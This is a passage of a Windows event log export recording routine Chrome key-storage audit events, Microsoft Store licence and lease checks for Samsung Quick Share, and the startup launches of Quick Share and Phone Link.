connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:19.251\t4\t\"Create Key operation failed.\n\n Cryptographic Parameters:\n \tProvider Name:\tMicrosoft Passport Key Storage Provider\n \tKey Name:\tS-1-5-21-3712849175-2219398513-4278588552-1006//S-1-5-21-3712849175-2219398513-4278588552-1006//MSTestAvailability-FF2FA111-E816-4D1B-BDDD-65F189969E50\n \tAlgorithm Name:\tRSA\n \tFlags:\t\t0x0\n Failure Information:\n  \tReturn Code:\t0x80090016\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:19.288\t15\t\"New client uses VBS Key Isolation\nName: chrome.exe\nBinding status: 0x0 (The operation completed successfully.)\nClient instance binding attempts: 1\n\"\tInformation\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:19.314\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t14724\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.183171100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tWrite persisted key to file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.314\t9\t\"Key write succeeded.\n\n Provider Name:\tMicrosoft Software Key Storage Provider\n ModificationType: \t\t0x1\n Flags:\t\t0x1\n Key Name:\tChromeMetricsTestKey\n Key File Name:\t1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n ProcessName:\tC:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\n ProcessId:\t0x3984\n ServerThreadId:\t0x714\n UserId:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n ServiceTag:\t\n Return Code:\t0x0\"\tVerbose\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:19.314\t21\t\"Key write succeeded.\n\n Provider Name:\tMicrosoft Software Key Storage Provider\n ModificationType: \t\t0x1\n Flags:\t\t0x1\n Key Name:\tChromeMetricsTestKey\n Key File Name:\t1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n ProcessName:\tC:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\n ProcessId:\t0x3984\n ServerThreadId:\t0x714\n UserId:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n ServiceTag:\t\n Return Code:\t0x0\"\tInformation\tMicrosoft-Windows-Crypto-NCrypt/KeyMgmt\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:19.315\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tCreate Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.315\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t14724\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.183171100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.316\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t14724\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.183171100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.327\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.328\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t14724\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.183171100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.333\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t14724\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:16.183171100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tChromeMetricsTestKey\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tDelete key file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:19.336\t11\t\"Delete key succeeded.\n\n Provider Name:\tMicrosoft Software Key Storage Provider\n Flags:\t\t0x40\n DeletionType: \t\t0x0\n Key Name:\tChromeMetricsTestKey\n Key File Name:\t1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n ProcessName:\tC:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\n ProcessId:\t0x3984\n ServerThreadId:\t0x714\n UserId:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n ServiceTag:\t\n Return Code:\t0x0\"\tVerbose\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:19.336\t22\t\"Delete key succeeded.\n\n Provider Name:\tMicrosoft Software Key Storage Provider\n Flags:\t\t0x40\n DeletionType: \t\t0x0\n Key Name:\tChromeMetricsTestKey\n Key File Name:\t1e313dfb17707690d41bc1ce552b952a_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n ProcessName:\tC:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\n ProcessId:\t0x3984\n ServerThreadId:\t0x714\n UserId:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n ServiceTag:\t\n Return Code:\t0x0\"\tInformation\tMicrosoft-Windows-Crypto-NCrypt/KeyMgmt\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:23.346\t9708\tFinished execution of command 'chrome.exe\" --no-startup-window /prefetch:5' (PID 10840).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:23.346\t9706\tFinished enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:23.399\t62408\tStarted execution of command 'QuickShareLauncher.exe'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:23.410\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.411\t8001\t\"Invoking license manager because license/lease polling time up: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.411\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy+LMV1xF00Dx7238, IsSystemUsage:0\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.415\t8001\t\"Licensing package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8001\t\"Licensing 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29 (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8001\t\"0000021F83176B60: Key Machine for content: 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8011\t0x21f83133e68: 13668: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8011\t0x21f83176b80: 13732: 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8001\t\"0000021F83176B60: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.416\t8012\t0x21f83176b80: 13732: Key:Initial Change: Key:NegotiatingUnleased => 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.419\t8001\t\"Considering License ID {E6AFC57E-E948-0700-1F5B-021330EC499E} for content ID 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.419\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"998915e6-71dc-4fff-8a51-ec5d495514e9\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.419\t8001\t\"Accepting key with License ID {E6AFC57E-E948-0700-1F5B-021330EC499E} for Content ID 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.419\t8001\t\"Returning key document for contentid 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.419\t8001\t\"Getting lease for 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.421\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2da9b29d-6370-e263-afcc-4c90e8d0d7d6\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=9cd2c66b-d3f2-3342-77a1-fde6e819ac29&entitlementId=2da9b29d-6370-e263-afcc-4c90e8d0d7d6&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"e6afc57e-e948-0700-1f5b-021330ec499e\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"9cd2c66b-d3f2-3342-77a1-fde6e819ac29\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9PCTGDFXVZLJ\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-07-07T01:54:10.2890432+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.421\t8001\t\"Adding lease {CDEB45AC-6FCC-27AB-FE4F-2AF4AC3BBBDD} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.421\t8001\t\"Returning 1 lease documents for contentid 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.422\t8001\t\"lease = 0x8313a588, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.422\t8001\t\"lease = 0x8313a588, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.422\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.422\t8011\t0x21f83176b80: 13732: 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"lease = 0x8313a588, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Lease Machine: 0000021F8312AC00: {2779D781-9DB3-5818-8A8F-961408D4CA65}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Set results for lease = 0x8313a588, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8011\t0x21f8312ac20: 13668: {2779D781-9DB3-5818-8A8F-961408D4CA65}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x8313a588\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8012\t0x21f83176b80: 13732: Key:NegotiatingUnleased Change: Key:Valid => 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8012\t0x21f8312ac20: 13668: Lease:Initial Change: Lease:Valid => {2779D781-9DB3-5818-8A8F-961408D4CA65}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8011\t0x21f83176b80: 13732: 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"998915e6-71dc-4fff-8a51-ec5d495514e9\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Skipping license manager: PFN SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2da9b29d-6370-e263-afcc-4c90e8d0d7d6\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=9cd2c66b-d3f2-3342-77a1-fde6e819ac29&entitlementId=2da9b29d-6370-e263-afcc-4c90e8d0d7d6&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"e6afc57e-e948-0700-1f5b-021330ec499e\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"9cd2c66b-d3f2-3342-77a1-fde6e819ac29\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9PCTGDFXVZLJ\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-07-07T01:54:10.2890432+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2da9b29d-6370-e263-afcc-4c90e8d0d7d6\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=9cd2c66b-d3f2-3342-77a1-fde6e819ac29&entitlementId=2da9b29d-6370-e263-afcc-4c90e8d0d7d6&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"e6afc57e-e948-0700-1f5b-021330ec499e\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"9cd2c66b-d3f2-3342-77a1-fde6e819ac29\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9PCTGDFXVZLJ\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-07-07T01:54:10.2890432+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"ReactiveLicensingResult: 0x00000000 for SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy, 0ms\nFunction: LogReactiveLicensingResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\telemetry.cpp (512)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Updating lease timer for {2779D781-9DB3-5818-8A8F-961408D4CA65} to expire @ 2026-09-05T02:05:10Z (jitter was 35.787754 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8001\t\"Added timer for {2779D781-9DB3-5818-8A8F-961408D4CA65}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.424\t8011\t0x21f8312ac20: 13668: {2779D781-9DB3-5818-8A8F-961408D4CA65}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:23.425\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:23.475\t210\tCreated Desktop AppX container {245CDB95-A8C9-11F1-B7FF-289200F24A99} for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:23.475\t211\tAdded process 16192 to Desktop AppX container 245cdb95-a8c9-11f1-b7ff-289200f24a99 for package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:23.478\t201\tCreated process 16192 for application SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_wyx1vj98g3asy!App in package SAMSUNGELECTRONICSCoLtd.SamsungQuickShare_2.3.22.0_x64__wyx1vj98g3asy. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:24.136\t62409\tFinished execution of command 'QuickShareLauncher.exe' (PID 16192).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:24.136\t62408\tStarted execution of command 'PhoneExperienceHost.exe'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:24.150\t8001\t\"Skipping license manager: PFN Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:24.151\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:24.161\t211\tAdded process 16216 to Desktop AppX container 245cdb4d-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:24.162\t201\tCreated process 16216 for application Microsoft.YourPhone_8wekyb3d8bbwe!App in package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:24.165\t505\t\"Compatibility fix applied to C:\\Program Files\\WindowsApps\\Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\\PhoneExperienceHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 